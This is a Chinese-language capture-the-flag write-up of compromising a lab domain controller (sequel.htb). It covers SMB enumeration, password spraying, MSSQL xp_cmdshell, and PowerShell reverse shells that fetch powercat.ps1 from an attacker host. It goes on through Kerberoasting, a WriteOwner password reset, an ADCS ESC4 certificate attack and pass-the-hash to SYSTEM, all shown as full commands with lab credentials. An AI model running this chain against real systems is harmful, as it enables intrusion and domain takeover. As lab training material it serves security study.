一、初始侦察与立足点获取
1.1 端口扫描与服务识别
首先,对目标主机 10.10.11.51
进行全端口扫描。
sudo nmap 10.10.11.51 -p- --min-rate=5000 -A
图1: Nmap 扫描结果显示多个开放端口,包括 88 (Kerberos), 445 (SMB), 5985 (WinRM) 和 1433 (MSSQL)
扫描结果表明,目标主机开放了多个与域环境相关的端口(如 88, 445, 5985),初步判断其可能是一台域控制器。同时,1433 端口的开放指示了 SQL Server 服务的运行。
1.2 SMB 枚举与初始凭证利用
靶机提供了初始凭证 rose/KxEPkKe6R8su
。我们首先利用此凭证对 SMB 共享进行枚举。
nxc smb 10.10.11.51 -u rose -p KxEPkKe6R8su --shares
图2: nxc
(NetExec) 枚举 SMB 共享结果,Accounting Department
目录较为可疑
在枚举到的共享中,Accounting Department
目录引起了注意。
1.3 文件搜集与凭证发现
我们使用 smbclient
访问该特殊目录,并下载了其中的所有文件。
smbclient -p 445 //10.10.11.51/'Accounting Department' -U rose --password=KxEPkKe6R8su
图3: 使用 smbclient
访问共享并下载文件
下载的文件中包含两个 Excel 文件。经过检查,在 accounts.xlsx
文件内发现了四组新的凭证:
angela 0fwz7Q4mSpurIt99
oscar 86LxLBMgEWaKUnBG
kevin Md9Wlq1E5bZnVDVo
sa MSSQLP@ssw0rd!
图4: accounts.xlsx
中发现的凭证信息
1.4 域用户枚举与凭证验证
为了确认新发现凭证的有效性及所属用户是否为域用户,我们使用初始凭证 rose
通过 LDAP 枚举域内用户。
nxc ldap 10.10.11.51 -u rose -p KxEPkKe6R8su --users
枚举到的域用户列表如下:
Administrator
michael
ryan
oscar
sql_svc
rose
ca_svc
图5: LDAP 枚举获取的域用户列表
对比后发现,在 Excel 文件中找到的四个用户中,只有 oscar
是域内用户。
1.5 密码喷洒
我们将已知的域用户列表和从 Excel 文件中收集到的所有密码分别存入 users.txt
和 passwords.txt
,然后对 SMB 服务进行密码喷洒攻击。
nxc smb 10.10.11.51 -u users.txt -p passwords.txt --continue-on-success
图6: 密码喷洒成功命中 oscar
用户
密码喷洒成功验证了 oscar/86LxLBMgEWaKUnBG
这组凭证的有效性。随后,使用 oscar
的凭证再次枚举 SMB 共享,未发现新的有用信息。
nxc smb 10.10.11.51 -u oscar -p 86LxLBMgEWaKUnBG --shares
图7: 枚举 oscar
用户的 SMB 共享,无新发现
二、利用 SQL Server 实现命令执行
2.1 sa 凭证登录 MSSQL
回想起之前在 accounts.xlsx
中发现的另一组重要凭证 sa/MSSQLP@ssw0rd!
。sa
(System Administrator) 是 MSSQL 中的最高权限登录账号。我们尝试使用此凭证(不通过域认证,即本地认证)登录 MSSQL 服务。
impacket-mssqlclient sa:'MSSQLP@ssw0rd!'@10.10.11.51
图8: 使用 sa
凭证成功登录 MSSQL 数据库
2.2 通过 NetExec 执行命令获取 Shell
目标是通过 MSSQL 服务执行命令以获取反向 Shell。netexec
(nxc) 提供了一种相对简便的方法,可以直接使用 -X
参数执行 PowerShell 命令。该命令会远程加载 powercat.ps1
脚本并执行回连操作。
nxc mssql 10.10.11.51 -u sa -p 'MSSQLP@ssw0rd!' --local-auth -X 'IEX(New-Object System.Net.Webclient).DownloadString("http://10.10.14.16/powercat.ps1");powercat -c 10.10.14.16 -p 53 -e powershell'
图9: 使用 nxc
通过 MSSQL 执行命令,获取反向 Shell
图10: 成功获取到 sql_svc
用户的 Shell 权限
2.3 (可选方案) 通过 xp_cmdshell 执行命令
另一种实现命令执行的方式是手动启用 xp_cmdshell
再执行命令,原理和 netexec
一样,只是 netexec
自动化实现了。在通过 impacket-mssqlclient
连接到数据库后,执行以下 SQL 命令:
-- 显示高级配置选项
EXEC sp_configure 'show advanced options', 1;
-- 重新配置以应用更改
RECONFIGURE;
-- 启用 xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
-- 重新配置以应用更改
RECONFIGURE;
-- 执行测试命令
EXECUTE xp_cmdshell 'whoami';
图11: 成功启用 xp_cmdshell
并执行 whoami
,确认用户为 sql_svc
确认 xp_cmdshell
可用后,即可通过它执行 PowerShell 命令来获取反向 Shell:
xp_cmdshell powershell -c "IEX(New-Object System.Net.Webclient).DownloadString(\"http://10.10.14.16/powercat.ps1\");powercat -c 10.10.14.16 -p 53 -e powershell"
图12: 利用 xp_cmdshell
成功获取 sql_svc
的反向 Shell
三、权限提升与横向移动
3.1 sql_svc
凭证泄露
在获取的 sql_svc
用户 Shell 中进行信息收集,发现了一个名为 sql-Configuration.INI
的 MSSQL 配置文件。该文件泄露了 sql_svc
用户的明文密码:WqSZAF6CysDQbGb3
。
图13: sql-Configuration.INI
文件中泄露的 sql_svc
密码
3.2 再次密码喷洒,获取 ryan
权限
利用新获取的 sql_svc
密码 (WqSZAF6CysDQbGb3
),对先前枚举出的域用户列表 (users.txt
) 进行又一轮密码喷洒。
nxc smb 10.10.11.51 -u users.txt -p WqSZAF6CysDQbGb3 --continue-on-success
图14: 使用新密码进行喷洒,成功命中 ryan
用户
这次密码喷洒成功命中了用户 ryan
。
3.3 WinRM 访问与 Kerberos 攻击尝试
通过 WinRM (端口 5985) 进行登录 ryan
成功了,该用户应该是在远程管理组内。
# 使用 nxc 验证 WinRM 访问
nxc winrm 10.10.11.51 -u ryan -p WqSZAF6CysDQbGb3
# 使用 evil-winrm 获取交互式 Shell
evil-winrm -u ryan -p WqSZAF6CysDQbGb3 -i 10.10.11.51
图15: 成功通过 WinRM 以 ryan
用户身份登录
在 ryan
用户的会话中进行了进一步的信息收集,但未立即发现新的突破口。随后,尝试了常见的 Kerberos 相关攻击,如 AS-REP Roasting 和 Kerberoasting。
impacket-GetNPUsers -dc-ip 10.10.11.51 -request -outputfile hashes.asreproast sequel.htb/ryan:WqSZAF6CysDQbGb3
impacket-GetUserSPNs -request -dc-ip 10.10.11.51 -outputfile hashes.kerberoast sequel.htb/ryan:WqSZAF6CysDQbGb3
图16: Kerberoasting 成功获取到 sql_svc
和 ca_svc
的 TGS 哈希
AS-REP Roasting 未发现可利用账户。Kerberoasting 成功获取了 sql_svc
和 ca_svc
用户的 TGS 服务票据哈希。由于 sql_svc
的密码已知,我们尝试使用 hashcat
离线破解 ca_svc
的 TGS 哈希,但未能成功。
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt --force
图17: hashcat
破解 ca_svc
TGS 哈希尝试未果
四、深入域渗透:BloodHound 与 ADCS 攻击
在常规枚举(如共享目录、ADCS 等)未取得新突破后,决定使用 BloodHound 进行更深入的域内权限关系分析。
4.1 BloodHound 数据收集与分析
使用 bloodhound-ce-python
收集域信息,并将数据上传至 BloodHound Web 平台进行分析。
bloodhound-ce-python -c all -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 -ns 10.10.11.51 -dc dc01.sequel.htb --zip
图18: 使用 bloodhound-ce-python
收集域信息
BloodHound 的分析结果揭示了一个关键信息:用户 ryan
对 ca_svc
用户对象拥有 WriteOwner
权限。
图19: BloodHound 显示 ryan
对 ca_svc
拥有 WriteOwner
权限
WriteOwner
权限意味着 ryan
可以将自身设置为 ca_svc
的所有者,从而间接控制该用户。ca_svc
这个用户名强烈暗示其与证书服务 (ADCS) 相关,这为我们指明了下一步的攻击方向。
4.2 利用 WriteOwner
控制 ca_svc
用户
利用已发现的 WriteOwner
权限,通过以下三步操作来完全控制 ca_svc
用户:
- 设置所有者:使用
impacket-owneredit
将ryan
设置为ca_svc
的所有者。 - 赋予重置密码权限:使用
impacket-dacledit
赋予ryan
(作为新的所有者)对ca_svc
的密码重置权限。 - 重置密码:使用
bloodyAD
将ca_svc
的密码重置为一个已知值,例如summer123
。
# 1. 设置 ryan 为 ca_svc 的所有者
impacket-owneredit -dc-ip 10.10.11.51 -action write -new-owner ryan -target ca_svc sequel/ryan:WqSZAF6CysDQbGb3
# 2. 赋予 ryan 重置 ca_svc 密码的权限
impacket-dacledit -dc-ip 10.10.11.51 -action write -rights ResetPassword -principal ryan -target ca_svc sequel/ryan:WqSZAF6CysDQbGb3
# 3. 将 ca_svc 的密码重置为 summer123
bloodyAD -u 'ryan' -p 'WqSZAF6CysDQbGb3' -d sequel.htb --host 10.10.11.51 set password 'ca_svc' 'summer123'
图20: 成功执行上述命令,控制 ca_svc
用户并重置其密码
上述操作成功后,我们获得了 ca_svc
用户的控制权 (ca_svc/summer123
)。
4.3 ADCS ESC4 漏洞利用
现在我们拥有 ca_svc
用户的凭据,重点检查 ADCS 配置,寻找可利用的漏洞。使用 certipy-ad
进行探测。
certipy-ad find -u 'ca_svc@sequel.htb' -p 'summer123' -dc-ip 10.10.11.51 -vulnerable -enabled -text
图21: certipy-ad
发现存在 ESC4 漏洞,与 DunderMifflinAuthentication
模板相关
结果显示存在一个 ESC4 漏洞,与名为 DunderMifflinAuthentication
的证书模板相关。ESC4 漏洞允许对证书模板拥有写入权限(WriteDACL
, WriteProperty
, WriteOwner
等)的用户修改模板配置,使其允许任意用户(通常是攻击者控制的用户)代表其他用户(如域管理员)申请证书。利用方法可参考 Privilege Escalation - ESC4。
攻击步骤如下:
-
修改模板配置:利用
ca_svc
的权限,将DunderMifflinAuthentication
模板修改为易受攻击的配置。# Certipy 的 template 命令带有 -write-default-configuration 选项,可以方便地将目标模板自动重新配置为已知的类似 ESC1 的易受攻击状态。 certipy-ad template -u 'ca_svc@sequel.htb' -p 'summer123' -dc-ip '10.10.11.51' -template 'DunderMifflinAuthentication' -write-default-configuration
图22: 修改DunderMifflinAuthentication
模板配置 -
为 Administrator 申请证书:利用修改后的模板,以
ca_svc
的身份为administrator
用户申请证书。通过在证书请求中指定administrator@sequel.htb
作为用户主体名 (UPN) 。certipy-ad req -u 'ca_svc@sequel.htb' -p 'summer123' -dc-ip '10.10.11.51' -ca 'sequel-DC01-CA' -target 'DC01.sequel.htb' -template 'DunderMifflinAuthentication' -upn 'administrator@sequel.htb' -debug
图23: 成功为administrator
申请到证书,并保存为administrator.pfx
-
使用证书进行身份验证:利用获取到的
administrator.pfx
证书进行 Kerberos PKINIT 身份验证,从而获取administrator
用户的 NTLM 哈希。certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
图24: 通过证书认证,成功获取administrator
用户的 NTLM 哈希7a8d4e04986afa8ed4060f75e5a0b3ff
五、获取域控权限
5.1 Pass-the-Hash 登录域控
最后,利用获取到的 Administrator NTLM 哈希 (7a8d4e04986afa8ed4060f75e5a0b3ff
),通过 impacket-psexec
工具执行 Pass-the-Hash (PtH) 攻击,成功以 Administrator
身份登录域控制器 10.10.11.51
,获得 SYSTEM 权限。
impacket-psexec -hashes :7a8d4e04986afa8ed4060f75e5a0b3ff Administrator@10.10.11.51
图25: 使用 psexec
和 Administrator 的 NTLM 哈希,成功获取域控的 SYSTEM 权限